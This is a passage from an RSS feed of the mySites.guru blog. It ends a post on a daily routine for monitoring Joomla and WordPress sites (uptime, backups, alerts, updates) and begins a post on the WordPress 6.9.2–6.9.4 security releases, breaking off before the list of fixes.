&lt;li&gt;&lt;strong&gt;Core Update Needed&lt;/strong&gt;: sites running an outdated version of Joomla (or WordPress). Click through to see exactly which versions are available.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Invalid SSL Cert Install&lt;/strong&gt;: sites where the &lt;a href=&quot;https://mysites.guru/blog/keep-an-eye-on-your-joomla-and-wordpress-ssl-certificate-expirations-with-mysites-guru/&quot;&gt;SSL certificate&lt;/a&gt; has expired, has a chain problem, or is misconfigured.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;No Uptime Monitor&lt;/strong&gt;: sites that are not being actively monitored for downtime. These are blind spots in your coverage.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;No Backup Schedule&lt;/strong&gt;: sites without an automated &lt;a href=&quot;https://mysites.guru/blog/backup-all-your-joomla-wp-sites-easily-with-one-button-in-mysites-guru/&quot;&gt;backup schedule&lt;/a&gt;. If something goes wrong on one of these sites, there&apos;s no safety net.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose my-6 rounded-lg border border-blue-200 bg-blue-50 p-4 dark:border-blue-800 dark:bg-blue-950&quot;&amp;gt;
&amp;lt;p class=&quot;font-medium text-blue-900 dark:text-blue-200&quot;&amp;gt;Tip: Make the sidebar your first glance&amp;lt;/p&amp;gt;
&amp;lt;p class=&quot;mt-1 text-sm text-blue-800 dark:text-blue-300&quot;&amp;gt;If every counter in the Important Items section is zero, your morning is off to a great start. If any counter is above zero, click it to go directly to the affected sites.&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;h3&gt;Filtering by platform&lt;/h3&gt;
&lt;p&gt;Below the total site count, the sidebar breaks your sites down by platform: Joomla, WordPress, and generic PHP. If you are primarily a Joomla agency, clicking &quot;Your Joomla Sites&quot; filters the main list to show only Joomla sites. Useful when you want to focus your morning check on one platform at a time.&lt;/p&gt;
&lt;h3&gt;Using tags for priority&lt;/h3&gt;
&lt;p&gt;If you have set up Site Group Tags, they appear in the sidebar too. Many agencies create tags like &quot;Priority Clients&quot;, &quot;Managed Hosting&quot;, or &quot;Monthly Retainer&quot; so they can check their most important sites first. Click a tag to filter the site list instantly.&lt;/p&gt;
&lt;p&gt;This entire sidebar scan takes 30 seconds. You now know whether anything is on fire.&lt;/p&gt;
&lt;h2&gt;Step 2: Review overnight alerts&lt;/h2&gt;
&lt;p&gt;Before you dig into individual sites, check your email for mySites.guru alerts that arrived overnight.&lt;/p&gt;
&lt;p&gt;mySites.guru sends &lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;real-time alerts&lt;/a&gt; based on triggers you configure:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Admin login alerts&lt;/strong&gt;: someone logged into a Joomla or WordPress admin panel. If it happened at 3am and it wasn&apos;t you or your team, that&apos;s worth investigating.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;File change alerts&lt;/strong&gt;: a monitored file (like &lt;code&gt;configuration.php&lt;/code&gt; on Joomla or &lt;code&gt;wp-config.php&lt;/code&gt; on WordPress) was modified. This is &lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;near real-time detection&lt;/a&gt;, with the check running on every page load.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Configuration change alerts&lt;/strong&gt;: someone saved Global Configuration on a Joomla site.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SSL expiration warnings&lt;/strong&gt;: a certificate is approaching its &lt;a href=&quot;https://mysites.guru/blog/keep-an-eye-on-your-joomla-and-wordpress-ssl-certificate-expirations-with-mysites-guru/&quot;&gt;expiration date&lt;/a&gt; within your configured grace period.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Uptime alerts&lt;/strong&gt;: a site failed to respond to three consecutive checks from multiple global locations.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Triage the alerts&lt;/h3&gt;
&lt;p&gt;Not every alert needs action. An admin login at 9am from your developer&apos;s IP is expected. An admin login at 2am from an unfamiliar IP is not.&lt;/p&gt;
&lt;p&gt;For file change alerts, mySites.guru uses MD5 hash comparison on every page load. If a monitored file&apos;s hash changes, you get notified immediately. Legitimate changes (like saving configuration after a Joomla update) trigger alerts too, and that&apos;s intentional. You can &lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;whitelist your own IP addresses&lt;/a&gt; to reduce noise from your own work.&lt;/p&gt;
&lt;h3&gt;Team alerts&lt;/h3&gt;
&lt;p&gt;If you have &lt;a href=&quot;https://mysites.guru/blog/manage-multiple-joomla-and-wordpress-sites-with-your-whole-team/&quot;&gt;team members&lt;/a&gt; on your account, each person can configure their own alert preferences per site. This means your on-call person gets the overnight alerts while everyone else reviews them during business hours.&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose my-6 rounded-lg border border-green-200 bg-green-50 p-4 dark:border-green-800 dark:bg-green-950&quot;&amp;gt;
&amp;lt;p class=&quot;font-medium text-green-900 dark:text-green-200&quot;&amp;gt;Pro tip: Create an email filter&amp;lt;/p&amp;gt;
&amp;lt;p class=&quot;mt-1 text-sm text-green-800 dark:text-green-300&quot;&amp;gt;Set up a Gmail or Outlook filter that labels mySites.guru alert emails and sorts them into a dedicated folder. Your morning check becomes: open the folder, scan the subjects, act on anything unexpected.&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;h2&gt;Step 3: Check uptime status&lt;/h2&gt;
&lt;p&gt;Click through to the uptime monitoring overview in your mySites.guru account. This screen shows every connected site with its current status: up or down.&lt;/p&gt;
&lt;p&gt;mySites.guru&apos;s &lt;a href=&quot;https://mysites.guru/blog/monitor-your-sites-uptime-with-mysites-guru/&quot;&gt;built-in uptime engine&lt;/a&gt; checks your sites every minute. If the initial HEAD request fails, it retries with a GET request, then tries again from a different global location. Only after all three attempts fail does it send a downtime alert.&lt;/p&gt;
&lt;h3&gt;What to look for&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Currently down sites&lt;/strong&gt;: obvious, but these need immediate attention. If a site is down right now, your client&apos;s visitors are seeing an error page.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Response time trends&lt;/strong&gt;: mySites.guru shows the last 24 hours of response times for each site. A site that is technically &quot;up&quot; but responding in 8 seconds has a performance problem that needs investigating. Use this to spot hosting issues before they become outages.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Repeated short outages&lt;/strong&gt;: some hosting environments have brief hiccups that resolve themselves. If you see a pattern of short downtimes on the same site, it usually points to resource limits, cron job conflicts, or a server under strain.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Sites without monitors&lt;/h3&gt;
&lt;p&gt;Remember that &quot;No Uptime Monitor&quot; counter from the sidebar? If it&apos;s above zero, add monitors to those sites now. It takes seconds. mySites.guru &lt;a href=&quot;https://mysites.guru/blog/monitor-your-sites-uptime-with-mysites-guru/&quot;&gt;monitors every connected site at no extra cost&lt;/a&gt;, so there&apos;s no reason to leave gaps.&lt;/p&gt;
&lt;h2&gt;Step 4: Verify backup status&lt;/h2&gt;
&lt;p&gt;Navigate to the &lt;strong&gt;Scheduled Backups&lt;/strong&gt; page. This is where you confirm that your automated backups are actually running.&lt;/p&gt;
&lt;h3&gt;The backup schedule overview&lt;/h3&gt;
&lt;p&gt;The Scheduled Backups page lists every site with a configured backup schedule, showing:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;When the last backup completed&lt;/li&gt;
&lt;li&gt;Whether the backup succeeded or failed&lt;/li&gt;
&lt;li&gt;Which backup profile was used&lt;/li&gt;
&lt;li&gt;When the next scheduled backup is due&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Sites are sorted so the ones that need attention appear first: failed backups, missed schedules, and sites that have not been backed up recently.&lt;/p&gt;
&lt;h3&gt;Common backup issues&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Failed backups&lt;/strong&gt; usually mean the backup process timed out, the hosting server ran out of memory, or the &lt;a href=&quot;https://mysites.guru/blog/backup-all-your-joomla-wp-sites-easily-with-one-button-in-mysites-guru/&quot;&gt;Akeeba Backup&lt;/a&gt; profile needs adjustment. Click into the failed backup for error details.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Missing schedules&lt;/strong&gt; were already flagged by the sidebar&apos;s &quot;No Backup Schedule&quot; counter. Sites without a schedule are not being backed up automatically. Fix this by setting a default backup profile on the site&apos;s Settings tab.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Stale backups&lt;/strong&gt; happen when a schedule is configured but the last backup was weeks ago. This can occur if the Akeeba Backup component was updated and the profile needs reconfiguration.&lt;/p&gt;
&lt;h3&gt;The one-click backup option&lt;/h3&gt;
&lt;p&gt;If you see a site that needs an immediate backup, maybe because you&apos;re about to push an update and want a fresh restore point, you can trigger a backup directly from this page. The backup runs in the background on the mySites.guru server queue; you don&apos;t need to keep your browser open.&lt;/p&gt;
&lt;p&gt;For bulk operations, the &lt;strong&gt;&quot;Start Backup Of All Sites Visible Below&quot;&lt;/strong&gt; button queues backups for every site on the page. Filter the list first (by tag, platform, or search) to target specific groups.&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose my-6 rounded-lg border border-amber-200 bg-amber-50 p-4 dark:border-amber-800 dark:bg-amber-950&quot;&amp;gt;
&amp;lt;p class=&quot;font-medium text-amber-900 dark:text-amber-200&quot;&amp;gt;Remember: an untested backup is worthless&amp;lt;/p&amp;gt;
&amp;lt;p class=&quot;mt-1 text-sm text-amber-800 dark:text-amber-300&quot;&amp;gt;Periodically restore a backup to a staging environment and verify it works. Knowing your backups exist is not the same as knowing they will work when you need them.&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;h2&gt;Step 5: Review the update queue&lt;/h2&gt;
&lt;p&gt;Last step. Open the update queue to see which Joomla core versions and extensions have updates available.&lt;/p&gt;
&lt;h3&gt;Core updates&lt;/h3&gt;
&lt;p&gt;The sidebar&apos;s &quot;Core Update Needed&quot; counter already told you how many sites are behind. Click through to see the specific versions. mySites.guru supports &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;mass upgrades&lt;/a&gt;, so you can select individual sites or all of them and queue the upgrades in one operation.&lt;/p&gt;
&lt;p&gt;The process:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Backup first.&lt;/strong&gt; Always take a fresh backup before upgrading. Use the bulk backup button from Step 4.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Queue the upgrades.&lt;/strong&gt; Select the sites, click upgrade, and the queue processes them in the background. You&apos;ll hear a success sound for each completed upgrade if you keep the tab open.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Verify after.&lt;/strong&gt; Trigger a fresh &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;snapshot&lt;/a&gt; on the upgraded sites to confirm everything is healthy.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Extension and plugin updates&lt;/h3&gt;
&lt;p&gt;Beyond core updates, mySites.guru tracks every extension and plugin installed on your Joomla sites. The snapshot collects this information automatically, and if an update is available, it appears in the update queue.&lt;/p&gt;
&lt;p&gt;You can &lt;a href=&quot;https://mysites.guru/blog/automatic-updates-for-any-joomla-extension/&quot;&gt;enable automatic updates&lt;/a&gt; for specific extensions on a per-site or per-extension basis. When the next snapshot runs and detects an available update for an auto-update-enabled extension, mySites.guru applies it and notifies you of the result.&lt;/p&gt;
&lt;p&gt;For extensions you prefer to update manually (maybe you want to test them on a staging site first, or the extension has a history of breaking changes), leave auto-update off and review them during this morning check.&lt;/p&gt;
&lt;h3&gt;Prioritise security updates&lt;/h3&gt;
&lt;p&gt;Not all updates are equal. A Joomla security patch that fixes an actively exploited vulnerability should be applied the same morning you see it. A minor version bump for a gallery plugin can wait until your next maintenance window.&lt;/p&gt;
&lt;p&gt;mySites.guru&apos;s &lt;a href=&quot;https://mysites.guru/blog/wordpress-plugin-vulnerability-alerting/&quot;&gt;vulnerability alerting&lt;/a&gt; flags known security issues in extensions, helping you tell the difference between &quot;update at your convenience&quot; and &quot;update right now.&quot;&lt;/p&gt;
&lt;h2&gt;The complete routine at a glance&lt;/h2&gt;
&lt;p&gt;The full routine as a daily checklist:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;0:00 – 0:30 | Dashboard scan&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Log in and check the Important Items sidebar counters&lt;/li&gt;
&lt;li&gt;If any counter is above zero, click through to the affected sites&lt;/li&gt;
&lt;li&gt;Filter by platform or tag if needed&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;0:30 – 1:30 | Alert review&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Scan overnight alert emails for unexpected admin logins, file changes, or downtime&lt;/li&gt;
&lt;li&gt;Triage: expected activity vs. suspicious activity&lt;/li&gt;
&lt;li&gt;Investigate anything unusual&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;1:30 – 2:30 | Uptime check&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Review the uptime monitoring overview&lt;/li&gt;
&lt;li&gt;Check for currently down sites&lt;/li&gt;
&lt;li&gt;Look at response time trends for performance issues&lt;/li&gt;
&lt;li&gt;Add monitors to any unmonitored sites&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;2:30 – 3:30 | Backup verification&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Open the Scheduled Backups page&lt;/li&gt;
&lt;li&gt;Check for failed or stale backups&lt;/li&gt;
&lt;li&gt;Trigger manual backups if needed&lt;/li&gt;
&lt;li&gt;Ensure every site has a backup schedule&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;3:30 – 5:00 | Update queue&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Review pending core updates&lt;/li&gt;
&lt;li&gt;Back up affected sites, then queue the upgrades&lt;/li&gt;
&lt;li&gt;Check extension updates and apply or schedule them&lt;/li&gt;
&lt;li&gt;Prioritise security patches&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;That&apos;s the whole routine. Five areas, five minutes, every site covered.&lt;/p&gt;
&lt;h2&gt;Does This Routine Scale from 10 Sites to 500?&lt;/h2&gt;
&lt;p&gt;The routine above works whether you manage 10 sites or 500. Here&apos;s why.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The sidebar counters don&apos;t change with scale.&lt;/strong&gt; Whether you have 10 sites or 500, the Important Items section gives you the same quick summary. Zero hacked sites is zero hacked sites, regardless of the denominator.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Snapshots run automatically.&lt;/strong&gt; mySites.guru snapshots every connected site twice a day without any manual intervention. You&apos;re reviewing results, not running checks. The per-site overhead of your morning routine is effectively zero.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Bulk operations are built in.&lt;/strong&gt; Mass upgrades, bulk backups, and the &lt;a href=&quot;https://mysites.guru/blog/our-command-palette-navigation-with-cmdk/&quot;&gt;command palette&lt;/a&gt; (Cmd+K / Ctrl+K) mean you&apos;re never clicking through hundreds of individual sites. Type a few characters, hit enter, and you&apos;re on the right page.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Tags keep things manageable.&lt;/strong&gt; For large portfolios, Site Group Tags let you break the morning check into segments. Check your &quot;Priority&quot; tag first, then &quot;Managed Clients&quot;, then &quot;Legacy Sites.&quot; Each segment uses the same five steps; you&apos;re just working through filtered views.&lt;/p&gt;
&lt;h3&gt;The command palette shortcut&lt;/h3&gt;
&lt;p&gt;If you want to skip the sidebar entirely and jump straight to a specific site or tool, press &lt;strong&gt;Cmd+K&lt;/strong&gt; (Mac) or &lt;strong&gt;Ctrl+K&lt;/strong&gt; (Windows) from anywhere in the dashboard. The &lt;a href=&quot;https://mysites.guru/blog/our-command-palette-navigation-with-cmdk/&quot;&gt;command palette&lt;/a&gt; searches across all your sites, all tools, and all account functions. Type &quot;backups&quot; and you&apos;re on the backup page. Type a domain name and you&apos;re on that site&apos;s management page. It&apos;s faster than clicking through menus.&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose my-6 rounded-lg border border-blue-200 bg-blue-50 p-4 dark:border-blue-800 dark:bg-blue-950&quot;&amp;gt;
&amp;lt;p class=&quot;font-medium text-blue-900 dark:text-blue-200&quot;&amp;gt;Keyboard shortcuts go further&amp;lt;/p&amp;gt;
&amp;lt;p class=&quot;mt-1 text-sm text-blue-800 dark:text-blue-300&quot;&amp;gt;Press the question mark key (?) anywhere in mySites.guru to reveal a full keyboard shortcuts page. Shortcuts include mass updates (m u), mass installs (m i), toggling dark mode (d), and logging out (Shift+L).&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;h2&gt;What about WordPress sites?&lt;/h2&gt;
&lt;p&gt;Everything in this routine applies to WordPress sites too. mySites.guru manages Joomla, WordPress, and generic PHP sites with &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;identical features across all three platforms&lt;/a&gt;. The sidebar counters include all platforms. The backup scheduler works with Akeeba Backup for WordPress and All-in-One Migration. The uptime engine checks every connected site regardless of platform.&lt;/p&gt;
&lt;p&gt;If you run a mixed agency with both Joomla and WordPress clients, you don&apos;t need separate tools or separate routines. One login, one dashboard, one morning check.&lt;/p&gt;
&lt;p&gt;For a detailed walkthrough of the WordPress-specific workflows, see the &lt;a href=&quot;https://mysites.guru/blog/how-to-manage-multiple-wordpress-sites-like-a-pro/&quot;&gt;guide to managing multiple WordPress sites&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;How Can You Automate Beyond the Morning Check?&lt;/h2&gt;
&lt;p&gt;The morning routine is for your awareness. But much of the work can be automated so that problems are caught and resolved before you even log in.&lt;/p&gt;
&lt;h3&gt;Scheduled snapshots and audits&lt;/h3&gt;
&lt;p&gt;mySites.guru &lt;a href=&quot;https://mysites.guru/blog/schedule-your-security-audits-updates-backups-for-your-site-with-mysites-guru/&quot;&gt;schedules audits&lt;/a&gt; on a daily, weekly, or monthly basis. The deep &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;security audit&lt;/a&gt; checks every line of code in every file on your webspace, including &lt;a href=&quot;https://mysites.guru/blog/the-hidden-files-lurking-on-your-site-that-you-dont-know-about/&quot;&gt;hidden files you might not know about&lt;/a&gt;, using crowdsourced detection patterns that improve daily. If a hack is found on another subscriber&apos;s site, the detection rule is added to the system, and your next audit benefits from it.&lt;/p&gt;
&lt;h3&gt;Automatic extension updates&lt;/h3&gt;
&lt;p&gt;For extensions you trust to update without testing, &lt;a href=&quot;https://mysites.guru/blog/automatic-updates-for-any-joomla-extension/&quot;&gt;enable auto-updates&lt;/a&gt;. mySites.guru applies the update on the next snapshot when it detects a new version, and notifies you of the result. This is particularly useful for well-maintained security extensions and backup components that you want kept current at all times.&lt;/p&gt;
&lt;h3&gt;SSL monitoring on autopilot&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/blog/keep-an-eye-on-your-joomla-and-wordpress-ssl-certificate-expirations-with-mysites-guru/&quot;&gt;SSL certificate checks&lt;/a&gt; run on every snapshot. mySites.guru downloads the certificate, checks the issuer, validates the full chain, and monitors the expiration date. You set a grace period (default is 2 days before expiry) and the system alerts you automatically. The SSL overview page lists all your sites sorted by certificate expiry date, with a CSV export for offline review.&lt;/p&gt;
&lt;h3&gt;Real-time file monitoring&lt;/h3&gt;
&lt;p&gt;The &lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;file monitoring system&lt;/a&gt; watches critical files like &lt;code&gt;configuration.php&lt;/code&gt; and &lt;code&gt;wp-config.php&lt;/code&gt; using MD5 hash comparison on every page load. This isn&apos;t a scheduled scan; it fires in real time. By the time you sit down for your morning check, any overnight file changes have already been reported to your inbox.&lt;/p&gt;
&lt;h2&gt;What Are the Common Mistakes to Avoid?&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Skipping the backup check.&lt;/strong&gt; It&apos;s easy to assume backups are running because you set up the schedule once. Hosting changes, extension updates, and disk space limits all break backup schedules silently. Check the backup page every morning.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Ignoring &quot;Sites Not Connected.&quot;&lt;/strong&gt; A disconnected site is a blind spot. You&apos;re not getting snapshots, you&apos;re not getting alerts, and you won&apos;t know about problems until someone tells you. Reconnect these sites immediately. The connector plugin may need reinstalling or the site may have moved to a new server.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Treating all updates equally.&lt;/strong&gt; A Joomla security release that patches an &lt;a href=&quot;https://mysites.guru/blog/astroid-framework-security-vulnerability/&quot;&gt;actively exploited vulnerability&lt;/a&gt; isn&apos;t the same as a template update that adds a new colour option. Security updates go first.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Not using tags.&lt;/strong&gt; If you manage more than 20 sites and aren&apos;t using tags, you&apos;re making the morning check harder than it needs to be. Tags let you prioritise, filter, and batch-process sites by any criteria you choose.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Checking sites one by one.&lt;/strong&gt; The whole point of a centralised dashboard is that you don&apos;t need to log into individual admin panels. If you find yourself opening Joomla admin URLs to verify things, you&apos;re working around the tool instead of with it. Trust the &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;snapshot data&lt;/a&gt;, which checks &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;over 140 data points&lt;/a&gt; per site, twice a day.&lt;/p&gt;
&lt;h2&gt;Building the habit&lt;/h2&gt;
&lt;p&gt;A morning routine only works if you actually do it.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Same time every day.&lt;/strong&gt; Pick a time (first thing, right after coffee, whatever works) and stick to it. The routine takes five minutes, so there&apos;s no excuse to skip it.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Make it a team responsibility.&lt;/strong&gt; If you have team members, rotate the morning check. The person on duty reviews the dashboard and raises anything that needs attention. mySites.guru supports &lt;a href=&quot;https://mysites.guru/blog/manage-multiple-joomla-and-wordpress-sites-with-your-whole-team/&quot;&gt;unlimited team members&lt;/a&gt; at no extra cost.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Use the command palette.&lt;/strong&gt; Once you learn Cmd+K, you won&apos;t go back to clicking through menus. It shaves seconds off every navigation, and those seconds add up over a 5-minute routine.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Keep a log.&lt;/strong&gt; Not a formal document, just a quick note in Slack or your project management tool. &quot;Morning check: all clear&quot; or &quot;Morning check: 3 failed backups on Hetzner, investigating.&quot; It takes 10 seconds and gives your team visibility into the routine.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Act on problems the same morning.&lt;/strong&gt; The whole point of the morning check is early detection. If you spot a problem and add it to a backlog for &quot;later,&quot; you&apos;ve defeated the purpose. Fix what you can immediately, escalate what you can&apos;t, and track what needs scheduling.&lt;/p&gt;
&lt;h2&gt;Getting started&lt;/h2&gt;
&lt;p&gt;If you&apos;re not yet using mySites.guru, the &lt;a href=&quot;https://mysites.guru/blog/how-to-get-mysites-guru-for-free-for-a-whole-month/&quot;&gt;first month is free&lt;/a&gt;. Sign up, connect your sites, and try this morning routine on your own portfolio. The &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;pricing&lt;/a&gt; is GBP 19.99 per month for unlimited sites, the same price since 2012.&lt;/p&gt;
&lt;p&gt;Everything described in this post is included in that single subscription: the dashboard, the uptime monitoring, the snapshot engine, the alert system, the backup scheduler, the update queue, the security audits, and the &lt;a href=&quot;https://mysites.guru/blog/keep-an-eye-on-your-joomla-and-wordpress-ssl-certificate-expirations-with-mysites-guru/&quot;&gt;SSL monitoring&lt;/a&gt;. No add-ons, no per-site fees.&lt;/p&gt;
&lt;p&gt;Five minutes a morning, hundreds of sites checked.&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose my-6 rounded-lg border border-green-200 bg-green-50 p-4 dark:border-green-800 dark:bg-green-950&quot;&amp;gt;
&amp;lt;p class=&quot;font-medium text-green-900 dark:text-green-200&quot;&amp;gt;Ready to try it?&amp;lt;/p&amp;gt;
&amp;lt;p class=&quot;mt-1 text-sm text-green-800 dark:text-green-300&quot;&amp;gt;Sign up for a &amp;lt;a href=&quot;/blog/how-to-get-mysites-guru-for-free-for-a-whole-month/&quot; class=&quot;underline&quot;&amp;gt;free first month&amp;lt;/a&amp;gt;, connect your Joomla and WordPress sites, and try this morning routine on day one.&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;h2&gt;Further reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.joomla.org/security-centre.html&quot;&gt;Joomla Official Security Advisories&lt;/a&gt; - Joomla-specific vulnerability disclosures&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.akeeba.com/documentation.html&quot;&gt;Akeeba Backup Documentation&lt;/a&gt; - the backup component mySites.guru integrates with for both Joomla and WordPress&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://owasp.org/www-project-web-security-testing-guide/&quot;&gt;OWASP Web Security Testing Guide&lt;/a&gt; - web application security best practices that complement daily monitoring&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;p&gt;Daily workflows are the foundation of our &lt;a href=&quot;https://mysites.guru/guides/agency-multi-site-management/&quot;&gt;agency multi-site management guide&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>workflow</category><category>agency</category><category>daily routine</category><category>joomla</category><category>site management</category><enclosure url="https://mysites.guru/_astro/how-to-build-morning-routine-checking-joomla-sites.CpyoRzKX.png" length="0" type="image/png"/></item><item><title>WordPress 6.9.2, 6.9.3, and 6.9.4: 10 Security Fixes, a Crash, and Incomplete Patches</title><link>https://mysites.guru/blog/wordpress-6-9-2-security-release-crashes-websites/</link><guid isPermaLink="true">https://mysites.guru/blog/wordpress-6-9-2-security-release-crashes-websites/</guid><description>WordPress 6.9.2 crashed sites with a white screen, 6.9.3 fixed it, then 6.9.4 completed three missing security patches. What happened and how to recover.</description><pubDate>Tue, 10 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&amp;lt;p class=&quot;text-sm text-neutral-500 dark:text-neutral-400&quot;&amp;gt;&amp;lt;time datetime=&quot;2026-03-10&quot;&amp;gt;Published: 10 March 2026&amp;lt;/time&amp;gt; - &amp;lt;time datetime=&quot;2026-03-11&quot;&amp;gt;Updated: 11 March 2026&amp;lt;/time&amp;gt;&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose my-6 rounded-lg border border-blue-200 bg-blue-50 p-4 dark:border-blue-800 dark:bg-blue-950&quot;&amp;gt;
&amp;lt;p class=&quot;font-medium text-blue-900 dark:text-blue-200&quot;&amp;gt;&amp;lt;abbr title=&quot;Too Long; Didn&apos;t Read&quot;&amp;gt;TL;DR&amp;lt;/abbr&amp;gt;: Update to WordPress 6.9.4 now.&amp;lt;/p&amp;gt;
&amp;lt;p class=&quot;mt-1 text-sm text-blue-800 dark:text-blue-300&quot;&amp;gt;WordPress shipped three security releases in two days. 6.9.2 patched 10 vulnerabilities but broke sites. 6.9.3 fixed the crash. 6.9.4 (March 11) completes three patches that weren&apos;t fully applied - PclZip path traversal, Notes authorization bypass, and XXE in getID3. If you&apos;re on anything older than 6.9.4, update now.&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://wordpress.org/news/2026/03/wordpress-6-9-2-release/&quot;&gt;WordPress 6.9.2&lt;/a&gt; dropped on March 10, 2026 as a security-only release patching 10 vulnerabilities. Within hours, site owners started reporting blank websites after updating.&lt;/p&gt;
&lt;p&gt;The WordPress project pulled the release, reverting the version API and &lt;a href=&quot;https://wordpress.org/download/&quot;&gt;download page&lt;/a&gt; back to 6.9.1. By 22:40 UTC the same day, &lt;a href=&quot;https://wordpress.org/download/&quot;&gt;6.9.3 was released&lt;/a&gt; with the theme compatibility fix included. Then on March 11, &lt;a href=&quot;https://wordpress.org/news/2026/03/wordpress-6-9-4-release/&quot;&gt;WordPress 6.9.4&lt;/a&gt; shipped after the security team discovered that three of the original patches were incomplete.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;If you haven&apos;t updated yet, update to 6.9.4 now.&lt;/strong&gt; All 10 security patches are fully applied, and the regression that crashed sites is fixed.&lt;/p&gt;
&lt;h2&gt;What are the 10 WordPress security fixes?&lt;/h2&gt;
&lt;p&gt;These are the vulnerabilities patched in 6.9.2 and carried forward into 6.9.3. From the &lt;a href=&quot;https://wordpress.org/news/2026/03/wordpress-6-9-2-release/&quot;&gt;release announcement&lt;/a&gt;:&lt;/p&gt;
&lt;ol&gt;
